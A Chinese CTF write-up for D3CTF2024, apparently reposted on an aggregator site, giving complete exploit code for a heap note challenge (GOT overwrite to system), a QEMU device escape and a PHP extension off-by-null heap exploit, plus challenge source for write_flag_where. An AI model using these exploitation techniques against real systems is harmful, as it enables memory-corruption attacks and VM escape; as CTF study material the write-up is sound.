D3CTF2024

文章目录

  • 前言
  • note
  • write_flag_where【复现】
  • D3BabyEscape
  • PwnShell

前言

本次比赛笔者就做出两道简单题,但队里师傅太快了,所以也没我啥事。然后 WebPwn 那题命令行通了,但是浏览器不会调试,然后就简单记录一下。

note

  • 只开了 NX 和 Canary,所以可以打 got 表
  • 数组越界,可上溢、可下溢
  • 泄漏 libc_base,然后打 free@got 即可

关键数据结构如下:
在这里插入图片描述
exp 如下:

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

def add(idx, size, data):
    sl(byte(276))
    sleep(0.5)
    sl(byte(idx))
    sleep(0.5)
    sl(byte(size))
    sleep(0.5)
    sl(data)
    sleep(1)

def show(idx):
    sl(byte(1300))
    sleep(0.5)
    sl(byte(idx))

def free(idx):
    sl(byte(6425))
    sleep(0.5)
    sl(byte(idx))
    sleep(1)

def edit(idx, data):
    sl(byte(2064))
    sleep(0.5)
    sl(byte(idx))
    sleep(0.5)
    sl(data)

#gdb.attach(io, "b *0x401422")

add(1, 0x10, b'/bin/sh\x00')
show(-1460)
libc_base = addr8(6) - 0x1d46a0
info("libc_base", libc_base)

pay = p64(libc_base+0x1d46a0) + p64(0)*3 + p64(8) + p64(0x404000)
edit(-1460, pay)

edit(0, p64(libc_base+libc.sym.system))
free(1)

#pause()
#debug()
sh()

write_flag_where【复现】

题目给了源码,程序会先输出 libc_base 地址,然后循环往 libc 代码段写入 flag,这里 flag 的长度是已知的,并且知道其格式为 d3ctf{[a-f0-9]*},所以这里往 libc 代码段写入的值就是 [a-f0-9],由于其是未知的,所以这里得进行爆破

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define FLAG_PREFIX "d3ctf{"
#define FLAG_PREFIX_LENGTH (sizeof(FLAG_PREFIX)-1)
#define FLAG_SUFFIX "}"
#define FLAG_SUFFIX_LENGTH (sizeof(FLAG_SUFFIX)-1)
#define LIBC_NAME "libc"

char maps[0x1000], flag[0x100];
uint64_t libc_code_addr_start, libc_code_addr_end;

void write_mem(uint64_t addr, uint8_t byte) {
  int fd = open("/proc/self/mem", O_RDWR);
  lseek(fd, addr, SEEK_SET);
  write(fd, &byte, 1);
  close(fd);
}

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  FILE* maps_stream = fopen("/proc/self/maps", "r");

  int count = 1;
  char *line = NULL;
  uint64_t len = 0;
  uint64_t addr_start = 0, addr_end = 0, offset = 0, major_id = 0, minor_id = 0, inode_id = 0;
  char mode[0x10], file_path[0x100];
  memset(mode, 0, sizeof(mode));
  memset(file_path, 0, sizeof(file_path));

  while (getline(&line, &len, maps_stream) != -1 ) {
    sscanf(line,"%lx-%lx%s%lx%lu:%lu%lu%s",
      &addr_start, &addr_end, mode, &offset,
      &major_id, &minor_id, &inode_id, file_path
    );
    if (count == 10) {
      libc_code_addr_start = addr_start;
      libc_code_addr_end = addr_end;
      break;
    }
    count++;
  }

  if (line) {
    printf("%s", line);
    free(line);
  }
  fclose(maps_stream);

  int fd = open("/flag", O_RDONLY);
  read(fd, flag, 0x100);
  close(fd);
}

int main(int argc, char *argv[]) {
  init();

  uint64_t addr = 0;
  uint offset = 0;

  printf("flag: "FLAG_PREFIX"[a-f0-9]{%lu}"FLAG_SUFFIX"\n", strlen(flag) - FLAG_PREFIX_LENGTH - FLAG_SUFFIX_LENGTH);

  while (scanf("%lu%u", &addr, &offset) == 2) {
    if (!(libc_code_addr_start <= addr && addr < libc_code_addr_end) ||
        !(offset >= FLAG_PREFIX_LENGTH && offset < strlen(flag) - FLAG_SUFFIX_LENGTH))
      break;

    write_mem(addr, flag[offset]);
  }

  return 0;
}

这里主要参考星盟的 wp,具体后面再看看吧(:脑袋有点晕

D3BabyEscape

简单的 qemu 逃逸,题目维护的结构体如下:
在这里插入图片描述
其中 content 数组存在越界读写,从而导致可以读写 func 域,func 初始被设置为 rand_r 库函数,所以可以先利用越界读泄漏 libc_base,然后利用越界写修改 func 为 system 地址。而在 l0dev_mmio_write 函数中会调用 func 函数:
在这里插入图片描述
这里似乎只能传入 4 字节,所以传入 sh 即可完成逃逸,exp 如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/io.h>

void *mmio_mem;

void mmio_write64(size_t offset, uint64_t value) {
    *(uint64_t *) (mmio_mem + offset) = value;
}

uint64_t mmio_read64(size_t offset) {
    return *(uint64_t *) (mmio_mem + offset);
}

void mmio_init() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    mlock(mmio_mem, 0x1000);
}


uint32_t pmio_mem;

void pmio_write(uint32_t offset, uint32_t value) {
    outl(value, pmio_mem + offset);
}

uint32_t pmio_read(uint32_t offset) {
    return inl(pmio_mem + offset);
}

void pmio_init() {
    iopl(3);
    FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
    fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
}

int main() {
	mmio_init();
	pmio_init();

	mmio_write64(128, 28);
	long long libc_base = mmio_read64(31*8) - 0x46780;
	long long system = libc_base + 0x50D70;
	printf("libc_base: %#llx\n", libc_base);
	
	mmio_write64(0, 666);
	pmio_read(0);
	
	pmio_write(31*8, system&0xffffffff);
	pmio_write(31*8+4, (system>>32)&0xffffffff);
	//char cmd[16] = "/bin/sh\x00";
	char cmd[16] = "sh\x00";
	mmio_write64(64, *(long long*)cmd);
	return 0;
}

PwnShell

phpPwn,一个 off by null 漏洞,然后命令行启动打通了,浏览器不想调了,就这样吧。题目维护的结构体如下:
在这里插入图片描述
这里利用 off by null 去进行堆重叠,使得一个 data chunk 和一个 control chunk 重合,这样就可以实现任意地址读写了,泄漏 libc_base 然后覆写 efree@got 即可。这里泄漏 libc 可以直接包含 /proc/self/maps 泄漏,所以关键就是覆写 efree@got 罢了(:

然后打远程是要通过 Apache 的,然而在比赛时,我一直在命令行上调,最后远程一直打不了,给我搞崩溃了(:其实本地通过 Apache 也打不了,最开始调试方向就错了

贴个本地命令行 exp:

<?php
        function tobytes($integerValue, $byteLength) {
                $byteString = '';
                for ($i = 0; $i < $byteLength; $i++) {
                        $byteString .= pack('C',$integerValue & 0xFF);
                        $integerValue >>= 8;
                }
                return $byteString;
        }

        function get_addr($sss, $llen) {
                $decimalValue = 0;
                for ($i = 1; $i <= $llen; $i++) {
                    $char = $sss[-$i];
                    $digit = ord($char);
                    $decimalValue = ($decimalValue << 8) | $digit;
                }
                return $decimalValue;
        }

        $libc = "";
        $stack = "";
        function callback($buffer){
                global $libc,$stack;
                $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
                $p = '/([0-9a-f]+)\-[0-9a-f]+ .*  \[stack\]/';
                preg_match_all($p, $buffer, $stack);
                preg_match_all($p1, $buffer, $libc);
                return "";
        }

        ob_start("callback");
        $a="/proc/self/maps";
        include($a);
        $buffer=ob_get_contents();
        ob_end_flush();
        callback($buffer);
        $stack = hexdec($stack[1][0]);
        $libc_base = hexdec($libc[1][0]);

        echo dechex($stack);
        echo "\n";
        echo dechex($libc_base);
        echo "\n";

	
        addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

        editHacker(2, "\x00\x00\x00\x00\x00\x00\x00\x00");
        addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	

        $efree = $libc_base - 0x2cf1fc0-8;
        $system = $libc_base + 0x4c490;

        echo "PWN\n";
       
		editHacker(2, tobytes($efree, 6));
		editHacker(5, tobytes($system, 8));

        addHacker("/readflag\x00", "/readflag\x00");
        removeHacker(7);
	
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/591635.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

绘图神器===draw.io

文章目录 前言打开看看版本总结 前言 看到一个好玩的神器&#xff0c;Draw.io 看到一个网页draw.io&#xff0c;打开一看&#xff0c;还不错&#xff0c;是一款网页端的绘图平台。支持各种各样的绘制需求&#xff0c;像类图&#xff0c;流程图&#xff0c;泳道图&#xff0c;…

OpenCV如何模板匹配(59)

返回:OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 上一篇&#xff1a;OpenCV如何实现背投(58) 下一篇 &#xff1a;OpenCV在图像中寻找轮廓(60) 目标 在本教程中&#xff0c;您将学习如何&#xff1a; 使用 OpenCV 函数 matchTemplate()搜索图像贴片和输入…

李沐-46 语义分割和数据集【动手学深度学习v2】

在语义分割中&#xff0c;不是一张图片分配一个label&#xff0c;而是为图片的每一个像素点分配一个label。假设我们输入的是RGB三通道的图片&#xff0c;即每个像素点颜色可以表示为(x, y, z)&#xff0c;那么为了给像素点打上label&#xff0c;我们需要构建一个映射关系&…

这是一个简单的照明材料网站,后续还会更新

1、首页效果图 代码 <!DOCTYPE html> <html><head><meta charset"utf-8" /><title>爱德照明网站首页</title><style>/*外部样式*/charset "utf-8";*{margin: 0;padding: 0;box-sizing: border-box;}a{text-dec…

24.哀家要长脑子了!

目录 1.594. 最长和谐子序列 - 力扣&#xff08;LeetCode&#xff09; 2.350. 两个数组的交集 II - 力扣&#xff08;LeetCode&#xff09; 3.554. 砖墙 - 力扣&#xff08;LeetCode&#xff09; 4.9. 回文数 - 力扣&#xff08;LeetCode&#xff09; 5.13. 罗马数字转整数 …

使用D3.js进行数据可视化

D3.js介绍 D3.js是一个流行的JavaScript数据可视化库&#xff0c;全称为Data-Driven Documents&#xff0c;即数据驱动文档。它以数据为核心&#xff0c;通过数据来驱动文档的展示和操作。D3.js提供了丰富的API和工具&#xff0c;使得开发者能够创建出各种交互式和动态的数据可…

Linux服务器常用命令总结

view查找日志关键词 注意日志级别&#xff0c;回车后等一会儿&#xff0c;因为文件可能比较大加载完需要时间 当内容显示出来后&#xff0c;使用“/关键词”搜索 回车就能搜到&#xff0c;n表示查找下一个&#xff0c;N表示查找上一个 find 查找 find Family -name book …

华为平板手机如何清理应用市场的存储空间

如何清理应用市场的存储空间 适用产品&#xff1a; 手机&#xff0c;平板 适用版本&#xff1a;不涉及系统版本 如果您的应用市场显示应用的数据较大&#xff0c;可能是下载的安装包没有安装成功&#xff0c;导致安装包未自动删除。&#xff08;可参考&#xff1a;应用市场下…

Delta lake with Java--将数据保存到Minio

今天看了之前发的文章&#xff0c;居然有1条评论&#xff0c;看到我写的东西还是有点用。 今天要解决的问题是如何将 Delta产生的数据保存到Minio里面。 1、安装Minio&#xff0c;去官网下载最新版本的Minio&#xff0c;进入下载目录&#xff0c;运行如下命令&#xff0c;曾经…

2024年第11届生物信息学研究与应用国际会议(ICBRA 2024)即将召开!

2024年第11届生物信息学研究与应用国际会议&#xff08;ICBRA 2024&#xff09;将于2024年9月13-15日在意大利米兰举行。生物信息学&#xff0c;作为连接生物学与信息技术的桥梁&#xff0c;正日益成为探索生命奥秘、推动生命科学发展的重要力量。ICBRA 2024的召开&#xff0c;…

使用PyTorch从头实现Transformer

前言 本文使用Pytorch从头实现Transformer&#xff0c;原论文Attention is all you need paper&#xff0c;最佳解读博客&#xff0c;学习视频GitHub项目地址Some-Paper-CN。本项目是译者在学习长时间序列预测、CV、NLP和机器学习过程中精读的一些论文&#xff0c;并对其进行了…

突破传统 重新定义:3D医学影像PACS系统源码(包含RIS放射信息)实现三维重建与还原

突破传统&#xff0c;重新定义PACS/RIS服务,洞察用户需求&#xff0c;关注应用场景&#xff0c;新一代PACS/RIS系统&#xff0c;系统顶层设计采用集中分布式架构&#xff0c;满足医院影像全流程业务运行,同时各模块均可独立部署&#xff0c;满足医院未来影像信息化扩展新需求、…

爬虫自动化之drissionpage实现随时切换代理ip

目录 一、视频二、dp首次启动设置代理三、dp利用插件随时切换代理一、视频 视频直接点击学习SwitchyOmega插件使用其它二、dp首次启动设置代理 from DrissionPage import ChromiumPage, ChromiumOptions from loguru

成都旅游攻略

第一天 大熊猫基地(55一人) 切记要去早&#xff0c;否则只能看到熊猫屁股 文殊院(拜文殊菩萨) 杜甫草堂(50一人) 宽窄巷子(旅游打卡拍照) 奎星楼街吃晚饭 这里的饭菜很可口 第二天 东郊记忆(成都故事.川剧变脸)主要是拍照打卡 春熙路 IFS国金中心(打卡熊猫屁屁) 太…

【数据结构与算法】堆

定义 堆是是一个完全二叉树&#xff0c;其中每个节点的值都大于等于或小于等于其子节点的值。这取决于是最大堆还是最小堆。 小根堆&#xff1a;每个根都小于子节点。 大根堆&#xff1a;每个根都大于子节点。 以下部分图例说明来源&#xff1a;【从堆的定义到优先队列、堆排…

使用 TensorFlow 和 Keras 构建 U-Net

原文地址&#xff1a;building-a-u-net-with-tensorflow-and-keras 2024 年 4 月 11 日 计算机视觉有几个子学科&#xff0c;图像分割就是其中之一。如果您要分割图像&#xff0c;则需要在像素级别决定图像中可见的内容&#xff08;执行分类时&#xff09;&#xff0c;或者从像…

模型 SOP(标准操作程序)

系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。标准化流程&#xff0c;提质增效&#xff0c;保障合规。 1 SOP的应用 1.1 餐厅日常卫生清洁标准操作程序&#xff08;SOP&#xff09; 下面展示一个餐厅如何通过SOP确保清洁工作的标准化&#xff0c…

202209青少年软件编程(Python) 等级考试试卷(一级)

第 1 题 【单选题】 表达式 len(“学史明理增信 , 读史终生受益”) > len(" reading history will benefit you ") 的结果是? ( ) A :0 B :True C :False D :1 正确答案:C 试题解析: 第 2 题 【单选题】 在 turtle 画图中, 常常使用 turtle.color(co…

【doghead】mac构建

先构建libuv libuv ✘ zhangbin@zhangbin-mbp-2  ~/tet/Fargo/zhb-bifrost/Bifrost-202403/worker/third_party/libuv/build   main  cmake .. -DBUILD_TESTING=ON -- The C compiler identification is AppleClang 12.0.5.12050022 -- Check for working C compiler: …

Git的基本操作和使用

git分支指令 列出所有本地分支 git branchmaster是绿的 前面有个 表示当前分支是master* 列出所有远程分支 git branch -r列出所有本地分支和远程分支 git branch -a新建一个分支&#xff0c;但依然停留在当前分支 git branch [branch-name]新建一个分支&#xff0c;并切…